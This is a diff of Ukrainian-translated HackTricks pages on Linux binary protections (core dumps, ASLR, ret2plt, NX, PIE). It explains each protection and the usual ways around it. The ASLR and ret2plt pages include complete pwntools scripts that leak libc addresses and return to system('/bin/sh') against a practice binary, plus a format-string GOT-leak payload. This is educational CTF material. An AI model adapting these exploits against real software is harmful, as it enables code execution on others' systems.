* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -0,0 +1,55 @@
# Загальні захисти бінарних файлів
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримка HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться трюками з хакінгу, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
## Увімкнення файлів ядра
**Файли ядра** - це тип файлу, що генерується операційною системою, коли процес зазнає збою. Ці файли захоплюють образ пам'яті зазнавшого збою процесу на момент його завершення, включаючи пам'ять процесу, регістри та стан лічильника програми, серед інших деталей. Цей знімок може бути надзвичайно цінним для налагодження та розуміння причин збою.
### **Увімкнення генерації дампів ядра**
За замовчуванням багато систем обмежують розмір файлів ядра до 0 (тобто, вони не генерують файли ядра), щоб заощадити місце на диску. Щоб увімкнути генерацію файлів ядра, ви можете використовувати команду `ulimit` (в bash або подібних оболонках) або налаштувати системні параметри.
* **Використання ulimit**: Команда `ulimit -c unlimited` дозволяє поточній сесії оболонки створювати файли ядра необмеженого розміру. Це корисно для сесій налагодження, але не зберігається після перезавантаження або нових сесій.
```bash
ulimit -c unlimited
```
* **Постійна конфігурація**: Для більш постійного рішення ви можете відредагувати файл `/etc/security/limits.conf`, щоб включити рядок на кшталт `* soft core unlimited`, що дозволяє всім користувачам генерувати файли ядра необмеженого розміру без необхідності вручну встановлювати ulimit у своїх сесіях.
```markdown
* soft core unlimited
```
### **Аналіз файлів ядра за допомогою GDB**
Щоб проаналізувати файл ядра, ви можете використовувати інструменти налагодження, такі як GDB (GNU Debugger). Припустимо, у вас є виконуваний файл, який створив дамп ядра, а файл ядра називається `core_file`, ви можете розпочати аналіз з:
```bash
gdb /path/to/executable /path/to/core_file
```
Ця команда завантажує виконуваний файл та файл ядра в GDB, що дозволяє вам перевірити стан програми в момент збою. Ви можете використовувати команди GDB для дослідження стеку, перевірки змінних та розуміння причини збою.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -0,0 +1,185 @@
# ASLR
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Основна інформація
**Address Space Layout Randomization (ASLR)** - це техніка безпеки, що використовується в операційних системах для **випадкового розміщення адрес пам'яті**, які використовуються системними та прикладними процесами. Це ускладнює зловмиснику передбачити місцезнаходження конкретних процесів і даних, таких як стек, купа та бібліотеки, що зменшує ризик певних типів експлойтів, зокрема переповнень буфера.
### **Перевірка статусу ASLR**
Щоб **перевірити** статус ASLR на системі Linux, ви можете прочитати значення з файлу `/proc/sys/kernel/randomize_va_space`. Значення, збережене в цьому файлі, визначає тип ASLR, що застосовується:
* **0**: Немає випадкового розміщення. Все статичне.
* **1**: Консервативне випадкове розміщення. Спільні бібліотеки, стек, mmap(), сторінка VDSO випадкові.
* **2**: Повне випадкове розміщення. На додаток до елементів, випадкових за консервативним випадковим розміщенням, пам'ять, керована через `brk()`, є випадковою.
Ви можете перевірити статус ASLR за допомогою наступної команди:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Вимкнення ASLR**
Щоб **вимкнути** ASLR, потрібно встановити значення `/proc/sys/kernel/randomize_va_space` на **0**. Вимкнення ASLR зазвичай не рекомендується поза сценаріями тестування або налагодження. Ось як ви можете його вимкнути:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Ви також можете вимкнути ASLR для виконання за допомогою:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Увімкнення ASLR**
Щоб **увімкнути** ASLR, ви можете записати значення **2** у файл `/proc/sys/kernel/randomize_va_space`. Це зазвичай вимагає прав root. Увімкнення повної рандомізації можна зробити за допомогою наступної команди:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Стійкість при перезавантаженнях**
Зміни, внесені за допомогою команд `echo`, є тимчасовими і будуть скинуті при перезавантаженні. Щоб зробити зміни постійними, потрібно відредагувати файл `/etc/sysctl.conf` і додати або змінити наступний рядок:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Після редагування `/etc/sysctl.conf`, застосуйте зміни за допомогою:
```bash
sudo sysctl -p
```
Це забезпечить збереження ваших налаштувань ASLR після перезавантаження.
## **Обходи**
### 32-бітне брутфорсинг
PaX ділить адресний простір процесу на **3 групи**:
* **Код і дані** (ініціалізовані та неініціалізовані): `.text`, `.data` та `.bss` —> **16 біт** ентропії в змінній `delta_exec`. Ця змінна випадковим чином ініціалізується з кожним процесом і додається до початкових адрес.
* **Пам'ять**, виділена за допомогою `mmap()`, та **спільні бібліотеки** —> **16 біт**, названі `delta_mmap`.
* **Стек** —> **24 біти**, що називається `delta_stack`. Однак, фактично використовується **11 біт** (з 10-го до 20-го байта включно), вирівняних на **16 байт** —> Це призводить до **524,288 можливих реальних адрес стеку**.
Попередні дані стосуються 32-бітних систем, а зменшена фінальна ентропія дозволяє обійти ASLR, повторюючи виконання знову і знову, поки експлойт не завершиться успішно.
#### Ідеї для брутфорсингу:
* Якщо у вас є достатньо великий переповнення, щоб вмістити **великий NOP sled перед shellcode**, ви можете просто брутфорсити адреси в стеку, поки потік **не стрибне через якусь частину NOP sled**.
* Інший варіант для цього, якщо переповнення не таке велике, а експлойт можна запустити локально, — це **додати NOP sled і shellcode в змінну середовища**.
* Якщо експлойт локальний, ви можете спробувати брутфорсити базову адресу libc (корисно для 32-бітних систем):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Якщо ви атакуєте віддалений сервер, ви можете спробувати **брутфорсити адресу функції `libc` `usleep`**, передаючи в якості аргументу 10 (наприклад). Якщо в якийсь момент **сервер відповідає на 10 секунд довше**, ви знайшли адресу цієї функції.
{% hint style="success" %}
В 64-бітних системах ентропія значно вища, і це неможливо.
{% endhint %}
### Локальна інформація (`/proc/[pid]/stat`)
Файл **`/proc/[pid]/stat`** процесу завжди доступний для читання всім і **містить цікаву** інформацію, таку як:
* **startcode** & **endcode**: Адреси вище і нижче з **TEXT** бінарного файлу
* **startstack**: Адреса початку **стеку**
* **start\_data** & **end\_data**: Адреси вище і нижче, де знаходиться **BSS**
* **kstkesp** & **kstkeip**: Поточні адреси **ESP** та **EIP**
* **arg\_start** & **arg\_end**: Адреси вище і нижче, де знаходяться **cli аргументи**.
* **env\_start** &**env\_end**: Адреси вище і нижче, де знаходяться **змінні середовища**.
Отже, якщо атакуючий знаходиться на тому ж комп'ютері, що й бінарний файл, який експлуатується, і цей бінарний файл не очікує переповнення з сирих аргументів, а з іншого **входу, який можна створити після читання цього файлу**. Атакуючий може **отримати деякі адреси з цього файлу та побудувати з них офсети для експлуатації**.
{% hint style="success" %}
Для отримання додаткової інформації про цей файл перегляньте [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html), шукаючи `/proc/pid/stat`
{% endhint %}
### Маючи leak
* **Виклик полягає в наданні leak**
Якщо вам надано leak (легкі CTF завдання), ви можете розрахувати офсети з нього (припустимо, наприклад, що ви знаєте точну версію libc, яка використовується в системі, яку ви експлуатуєте). Цей приклад експлуатації витягнуто з [**прикладу звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (перевірте цю сторінку для отримання додаткових деталей):
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
* **ret2plt**
Зловживаючи переповненням буфера, можна експлуатувати **ret2plt** для ексфільтрації адреси функції з libc. Перевірте:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
{% endcontent-ref %}
* **Format Strings Arbitrary Read**
Так само, як у ret2plt, якщо у вас є довільне читання через вразливість форматних рядків, можна ексфільтрувати адресу **функції libc** з GOT. Наступний [**приклад звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Ви можете знайти більше інформації про Format Strings arbitrary read у:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}
### Ret2ret & Ret2pop
Спробуйте обійти ASLR, зловживаючи адресами всередині стеку:
{% content-ref url="../../stack-overflow/ret2ret.md" %}
[ret2ret.md](../../stack-overflow/ret2ret.md)
{% endcontent-ref %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -0,0 +1,105 @@
# Ret2plt
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
Метою цієї техніки є **витік адреси з функції з PLT**, щоб обійти ASLR. Це пов'язано з тим, що, наприклад, якщо ви витечете адресу функції `puts` з libc, ви зможете **обчислити, де знаходиться базова адреса `libc`** і обчислити зсуви для доступу до інших функцій, таких як **`system`**.
Це можна зробити за допомогою корисного навантаження `pwntools`, такого як ([**звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Зверніть увагу, як **`puts`** (використовуючи адресу з PLT) викликається з адресою `puts`, розташованою в GOT (Global Offset Table). Це відбувається тому, що до моменту, коли `puts` виводить запис GOT для `puts`, цей **запис міститиме точну адресу `puts` в пам'яті**.
Також зверніть увагу, як адреса `main` використовується в експлойті, щоб коли `puts` закінчує своє виконання, **бінарний файл знову викликав `main`, а не завершувався** (так що витік адреси залишиться дійсним).
{% hint style="danger" %}
Зверніть увагу, що для того, щоб це працювало, **бінарний файл не може бути скомпільований з PIE** або ви повинні **знайти витік, щоб обійти PIE**, щоб знати адресу PLT, GOT і `main`. В іншому випадку, спочатку потрібно обійти PIE.
{% endhint %}
Ви можете знайти [**повний приклад цього обходу тут**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Це був фінальний експлойт з цього прикладу:
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Інші приклади та посилання
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 біти, ASLR увімкнено, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарки, щоб потім викликати puts і витягти його. З канаркою створюється ROP гаджет для виклику puts, щоб витягти адресу puts з GOT, а потім ROP гаджет для виклику `system('/bin/sh')`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 біти, ASLR увімкнено, без канарки, переповнення стеку в main з дочірньої функції. ROP гаджет для виклику puts, щоб витягти адресу puts з GOT, а потім викликати один гаджет.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -0,0 +1,42 @@
# No-exec / NX
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
Біт **No-Execute (NX)**, також відомий як **Execute Disable (XD)** в термінології Intel, є апаратною функцією безпеки, призначеною для **зменшення** наслідків атак **переповнення буфера**. Коли він реалізований і увімкнений, він розрізняє між регіонами пам'яті, які призначені для **виконуваного коду**, і тими, що призначені для **даних**, такими як **стек** і **куча**. Основна ідея полягає в тому, щоб запобігти зловмиснику виконувати шкідливий код через вразливості переповнення буфера, поміщаючи шкідливий код, наприклад, у стек і направляючи виконання до нього.
## Bypasses
* Можливо використовувати такі техніки, як [**ROP**](../stack-overflow/rop-return-oriented-programing.md), щоб обійти цю захист, виконуючи частини виконуваного коду, які вже присутні в бінарному файлі.
* [**Ret2libc**](../stack-overflow/ret2lib/)
* [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
* **Ret2...**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -0,0 +1,58 @@
# PIE
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
Бінарний файл, скомпільований як PIE, або **Position Independent Executable**, означає, що **програма може завантажуватися в різних місцях пам'яті** щоразу, коли вона виконується, запобігаючи жорстко закодованим адресам.
Трюк для експлуатації цих бінарників полягає в експлуатації **відносних адрес** — зміщення між частинами програми залишаються незмінними, навіть якщо абсолютні місця змінюються. Щоб **обійти PIE, вам потрібно лише витікати одну адресу**, зазвичай з **стека**, використовуючи вразливості, такі як атаки форматних рядків. Як тільки у вас є адреса, ви можете обчислити інші за їхніми **фіксованими зміщеннями**.
Корисна підказка при експлуатації бінарників PIE полягає в тому, що їх **базова адреса зазвичай закінчується на 000** через те, що сторінки пам'яті є одиницями рандомізації, розміром 0x1000 байт. Це вирівнювання може бути критичною **перевіркою, якщо експлуатація не працює** так, як очікувалося, вказуючи на те, чи була ідентифікована правильна базова адреса.\
Або ви можете використовувати це для вашої експлуатації, якщо ви витікаєте, що адреса знаходиться за **`0x649e1024`**, ви знаєте, що **базова адреса `0x649e1000`** і з цього ви можете просто **обчислити зміщення** функцій і місць.
## Bypasses
Щоб обійти PIE, потрібно **витікати якусь адресу завантаженого** бінарника, є кілька варіантів для цього:
* **Вимкнений ASLR**: Якщо ASLR вимкнено, бінарник, скомпільований з PIE, завжди **буде завантажуватися за тією ж адресою**, отже, **PIE буде марним**, оскільки адреси об'єктів завжди будуть в одному й тому ж місці.
* Отримати **витік** (поширено в простих CTF завданнях, [**перевірте цей приклад**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* **Брутфорсити значення EBP та EIP** у стеці, поки не витечете правильні:
{% content-ref url="bypassing-canary-and-pie.md" %}
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
{% endcontent-ref %}
* Використовуйте вразливість довільного читання, таку як [**форматний рядок**](../../format-strings/), щоб витікати адресу бінарника (наприклад, зі стека, як у попередній техніці), щоб отримати базу бінарника та використовувати зміщення звідти. [**Знайдіть приклад тут**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## References
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more